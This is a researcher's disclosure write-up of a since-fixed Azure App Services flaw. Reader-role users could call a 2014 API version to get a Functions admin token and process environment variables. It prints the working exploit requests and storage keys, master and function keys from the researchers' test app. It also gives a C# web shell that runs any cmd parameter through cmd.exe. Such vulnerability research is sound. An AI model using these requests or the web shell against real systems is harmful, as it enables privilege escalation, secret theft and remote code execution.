This post is about how we used an old Management API to exploit a vulnerability in Azure App Services to read webapp secrets and get full control of function apps we have Reader access to.

Background

The Azure Resource Manager (ARM) REST API is an old management API for all your Azure needs. It is mostly used via the Bicep/ARM templating system for automatically spinning up Azure resources, but it is possible to directly call the APIs. The documentation is simply a list of autogenerated references, so it can be a pain to use. In typical Microsoft fashion it is extremely backwards compatible and we are free to query any api-version by adding a query-string like api-version=2014-11-01.

What is perhaps most interesting about this API is that it used to be separated into a Contributor and a Reader part by the HTTP-method used. A Reader could, in general, call all GET-methods and a Contributor or Owner could also call with POST, DELETE, PUT, etc. This leads to some interesting definitions, as for instance the List Host Keys must be called with a POST-request without any data, as Readers should not be able to access it. Users of the API currently might note that this is no longer the case, and can find plenty of GET endpoints which Readers do not have access to. This however is rarely updated for the old API versions.

Function App Admin Token API

TL:DR

The endpoint https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Web/sites/$FUNCTION_APP/functions/admin/token?api-version=2014-11-01 will, for Windows hosts, return an admin token which can be used for all Kudu operations in the function app. This API can be found at https://$FUNCTION_APP.azurewebsites.net/admin/ and the actual API can be found at Github: https://github.com/Azure/azure-functions-host.

This token, among other things, can be used for:

• Reading, altering and creating functions, keys and files on the host
• Exfiltrating the source code and runtime of the app
• Stopping and starting the host.

In short, since we can retrieve the administrator token, we can do whatever we want.

Information Gathering

As we at Binary Security were doing some testing for a customer’s function app we took a quick peek at what kind of information we could gather from the API as a simple Reader of the subscription. It was mostly uninteresting stuff, but we had recently read a post about the management API from NETSPI Escalating Privileges with Azure Function Apps about the management API and it’s lackluster security model, so we decided to take a look and see if we could find anything interesting.

They had found that when viewing function’s code within the app, the portal made requests to an /admin/vfs/ endpoint to read files on the host, but sadly this was no longer possible.

Perusing the gigantic reference we were trying to find some interesting GET requests, which could give us something. As we were mindlessly scrolling through them the Get Functions Admin Token , struck us as gold, who would not want to exchange a token for the master key?

The first attempt failed:

GET /subscriptions/292c3ce5-4288-4413-8dad-5c665019739d/resourceGroups/binsec-privesc-test_group/providers/Microsoft.Web/sites/binsec-privesc-test/functions/admin/token?api-version=2022-03-01 HTTP/2
Host: management.azure.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Cache-Control: max-age=0
Authorization: Bearer <...TOKEN...>


HTTP/2 401 Unauthorized
<...>

But, using the old trick of going back in time to a more relaxed era (2014) worked like a charm!

GET /subscriptions/292c3ce5-4288-4413-8dad-5c665019739d/resourceGroups/binsec-privesc-test_group/providers/Microsoft.Web/sites/binsec-privesc-test/functions/admin/token?api-version=2014-11-01 HTTP/2
Host: management.azure.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Cache-Control: max-age=0
Authorization: Bearer <...TOKEN...>



HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 592
Content-Type: application/json
<...>
Date: Thu, 27 Apr 2023 13:53:00 GMT

{
    "id":"/subscriptions/292c3ce5-4288-4413-8dad-5c665019739d/resourceGroups/binsec-privesc-test_group/providers/Microsoft.Web/sites/binsec-privesc-test/extensions/functions",
    "name":"functions",
    "type":"Microsoft.Web/sites/extensions",
    "location":"Norway East",
    "properties":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2ODI2MDM1ODAsImV4cCI6MTY4MjYwMzg4MCwiaWF0IjoxNjgyNjAzNTgwLCJpc3MiOiJodHRwczovL2JpbnNlYy1wcml2ZXNjLXRlc3Quc2NtLmF6dXJld2Vic2l0ZXMubmV0IiwiYXVkIjoiaHR0cHM6Ly9iaW5zZWMtcHJpdmVzYy10ZXN0LmF6dXJld2Vic2l0ZXMubmV0L2F6dXJlZnVuY3Rpb25zIn0.ELqxd3HFTBckwr-pmf9OWT9V8HPrC8wkuFM8udjAZ2c"
}

And really, thats all that is to it. Obviously we should not get access to this token that ostensibly can be exchanged for some master key. The master key, incidentally, if we are to believe the documentation, cannot be removed or revoked.

However, the reference does not make any effort to explain where to get the master key, so we have to work a little bit more to show that this is a real exploit.

Proving impact

We needed some way of using our newly gathered token, so we checked out the runtime-host source code on Github. Simply looking at the Controllers there we could see that this is a quite significant bug. Going to the KeysController.cs we can see that /admin/host/keys should present us with the host-keys, which can be used for calling all the functions in the App. Remember that as a Reader we should not have access to this.

Success!

This shows real impact to the function app architecture, as a function app could have any number of privileged functions, which we now have full control over.

Whats interesting is that we can also place our own keys here, and use it as a backdoor. However, they will show up in the portal GUI.

I’m not going to bore you too much with everything we can do using this token, but there are two more highly exploitable endpoints in the runtime host. The first is /admin/functions/[FUNCTION_NAME] where we can create new functions and alter current functions:

As you see here we can send actual code that will be executed when someone calls this function, the only requirement seems to be that it must be the same language as the function app was initialized to (which makes sense).

The second is that we now have access to /vfs again. It is possible to query the filesystem and the runtime is kind enough to even give directory listings

While it might seem that we only can access the files within C:\Home\, by giving a complete path we can break free from this requirement

The same restrictions seem to apply here as with the keys and functions (namely none), but actually we are limited by the permissions of the runtime, so we cannot alter systemfiles or read administrator-files. There is still plenty to do here though, we can for instance directly change the functions by writing to the files in C:\Home\Functions\.

App Service Process API

Another interesting API with the same weakness is the instance process API. When requesting this as a Reader on an old API version, we conveniently get the process environment variables in the response.

App Service Settings

A user with Reader access to an App Service will see this when trying to list application settings and connection strings in the Azure Portal:

Trying to use the intended APIs to list the secrets will fail with a 403 Forbidden as it is a POST request. Using the processes API, we can get the environment variables for the w3wp process, which includes the application settings and connection strings. Since it includes the environment variables of an initialized App Service, it will also include Key Vault secrets in clear text if references in the format @Microsoft.KeyVault({referenceString}) are used. The following is a truncated example of the request/response:

GET /subscriptions/292c3ce5-4288-4413-8dad-5c665019739d/resourceGroups/funcapp-poc/providers/Microsoft.Web/sites/funcapp-poc2/processes/0?api-version=2014-11-01 HTTP/2
Host: management.azure.com
...

HTTP/2 200 OK
...

{
    "id": "/subscriptions/292c3ce5-4288-4413-8dad-5c665019739d/resourceGroups/funcapp-poc/providers/Microsoft.Web/sites/funcapp-poc2/extensions/processes",
    ...
    "properties": {
        "id": 4136,
        "name": "w3wp",
        "machineName": "10-30-1-168",
        "href": "https://funcapp-poc2.scm.azurewebsites.net/api/processes/4136",
        "minidump": "https://funcapp-poc2.scm.azurewebsites.net/api/processes/4136/dump",
        "iis_profile_timeout_in_seconds": 180.0,
        "parent": "https://funcapp-poc2.scm.azurewebsites.net/api/processes/-1",
        "file_name": "C:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe",
        "command_line": "C:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe -ap \"~1funcapp-poc2\" -v \"v4.0\" -a \"\\\\.\\pipe\\iisipm52b797cc-d46a-4165-ac40-1f206bd00e1d\" -h \"D:\\DWASFiles\\Sites\\#1funcapp-poc2\\Config\\applicationhost.config\" -w \"D:\\DWASFiles\\Sites\\#1funcapp-poc2\\Config\\rootweb.config\" -m 0 -t 20 -ta 0",
        ...
        "environment_variables": {           
            "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;EndpointSuffix=core.windows.net;AccountName=funcapppocsa;AccountKey=3rMcdGMFJhX6SINBFSVROwpVwxI18KCAW1Vauw5taXuNRD7PUtk7tvrbyTH4Crja+gnip8aI3vIu+ASttGPw6Q==",
            "APPSETTING_AzureWebJobsStorage": "DefaultEndpointsProtocol=https;EndpointSuffix=core.windows.net;AccountName=funcapppocsa;AccountKey=3rMcdGMFJhX6SINBFSVROwpVwxI18KCAW1Vauw5taXuNRD7PUtk7tvrbyTH4Crja+gnip8aI3vIu+ASttGPw6Q==",
            "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;EndpointSuffix=core.windows.net;AccountName=funcapppocsa;AccountKey=3rMcdGMFJhX6SINBFSVROwpVwxI18KCAW1Vauw5taXuNRD7PUtk7tvrbyTH4Crja+gnip8aI3vIu+ASttGPw6Q==",
            "APPSETTING_WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;EndpointSuffix=core.windows.net;AccountName=funcapppocsa;AccountKey=3rMcdGMFJhX6SINBFSVROwpVwxI18KCAW1Vauw5taXuNRD7PUtk7tvrbyTH4Crja+gnip8aI3vIu+ASttGPw6Q==",
            "WEBSITE_CONTENTSHARE": "funcapp-poc22600776cfdce",
            "APPSETTING_WEBSITE_CONTENTSHARE": "funcapp-poc22600776cfdce",
            "APPINSIGHTS_INSTRUMENTATIONKEY": "0277644b-c90f-450c-89cf-f1f5d00c4e40",
            "APPSETTING_APPINSIGHTS_INSTRUMENTATIONKEY": "0277644b-c90f-450c-89cf-f1f5d00c4e40",
            "APPSETTING_appSetting": "super-secret-value-huehuhe",
            ...
        }
    }
}

Escalating Privileges in Azure Functions

The impact of this vulnerability on an App Service web site depends on what secrets are stored in application settings. For Azure Functions, however, it will always result in the complete compromise of the Function App, possibly with the rare exception of when network-level access is blocked from the internet on the Function App Storage Account. This privilege escalation possibility exists because of the strong link Azure Functions has with the corresponding Storage Account.

Using the connection string “AzureWebJobsStorage” from the example above, we can log into the storage account with our favorite blob storage explorer:

The masterKey can be used directly on the Function admin API to deploy new code or to create new and is found in the host.json file together with the decryption keys:

{
  "masterKey": {
    "name": "master",
    "value": "CfDJ8AAAAAAAAAAAAAAAAAAAAAANEXsFnpYGwm26-_tvGdNI0grM2Vv89t501fc9-eE1NAZ_DfdJnt1Orz221xiwAMnDNKdmm4bVJMaOj9H1Umv1DCaBbxluao9nIBukIXN1HLDdglXNhxvQhnm3g-Ft4kNoaj1jm20whM9s_XZPC3TDW3XUOW7tK38etuEjSSDTmw",
    "encrypted": true
  },
  "functionKeys": [
    {
      "name": "default",
      "value": "CfDJ8AAAAAAAAAAAAAAAAAAAAADvVAylguTvjB7ykVvqA9c6muRODsMMIHy9nFI0SC2tH3Dj5ZeNujLai5xGP-Kc9fRpM6WRgEX1I8wzI_esTstVIjMGPODwwsvLw04tvp1JWcK5MJg2KxqmC2XwOxyVz2acun1evfUodW-xDFcXa9ylH45Dal7-obeWkPnuAnuLWQ",
      "encrypted": true
    }
  ],
  "systemKeys": [],
  "hostName": "funcapp-poc2.azurewebsites.net",
  "instanceId": "05619cf05fc7de9e656c99853abfcbef",
  "source": "runtime",
  "decryptionKeyId": "MACHINEKEY_DecryptionKey=XMINNL73PJMxptzVpAxu3tYljGNRaRJ+5KJISIWJDtE=;"
}

This key can be used to access the admin API and read and write the function code among other things.

GET /admin/vfs/site/wwwroot/HttpTrigger2/run.csx HTTP/2
Host: funcapp-poc2.azurewebsites.net
X-Functions-Key: pDYulxoI8aDGvaq2poCcuMyZtYuxfzDd2b9INW5Mw4MkAzFuOtza1w==


HTTP/2 200 OK
Content-Type: application/octet-stream
Date: Tue, 02 May 2023 13:46:16 GMT
Etag: "0e2d1883df4adb08"
Last-Modified: Tue, 02 May 2023 07:33:24 GMT
Request-Context: appId=

#r "Newtonsoft.Json"

using System.Net;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;

public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{
    log.LogInformation("C# HTTP trigger function processed a request.");

    string name = req.Query["name"];

    string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
    dynamic data = JsonConvert.DeserializeObject(requestBody);
    name = name ?? data?.name;

    string responseMessage = string.IsNullOrEmpty(name)
        ? "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response."
                : $"Hello, {name}. This HTTP triggered function executed successfully." ;

    return new OkObjectResult(responseMessage);
}

An even easier way of gaining code execution on the Function is by changing the deployed files directly.

From here, we can modify the run.csx file of a function directly and add our own code. Storage Explorer watches the file and prompts to upload it automatically when it changes. The code below will execute any command passed in the cmd query parameter:

#r "Newtonsoft.Json"

using System.Net;
using System.Diagnostics;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;

public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{
    string cmd = req.Query["cmd"];

    string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
    dynamic data = JsonConvert.DeserializeObject(requestBody);
    cmd = cmd ?? data?.cmd;

    var proc = new Process 
    {
        StartInfo = new ProcessStartInfo
        {
            FileName = "cmd.exe",
            Arguments = $"/c {cmd}",
            UseShellExecute = false,
            RedirectStandardOutput = true,
            CreateNoWindow = true
        }
    };
    proc.Start();
    string output = proc.StandardOutput.ReadToEnd();

    return new OkObjectResult(output);
}

Vendor Response

The timeline of the disclosure of the Admin Token Bug:

• April 28: Disclosed to Microsoft, got acknowledged
• May 2: Case was opened
• May 17: Microsoft confirmed the behaviour and started investigating
• May 23: Closed as a duplicate of existing case, confirmed to be fixed in June
• May 26: Testing showed that the issue was fixed
• June 12: Microsoft confirmed that the fix was rolled out to all systems

Final Words

The ARM REST API is an old beast, and has gone through several changes throughout the years. It seems to me that Microsoft should retire all these old versions… or at the very least disable them by default. Some resources, such as API Management provides the possibility to add API version constraints, but it does not seem to be possible for App Services.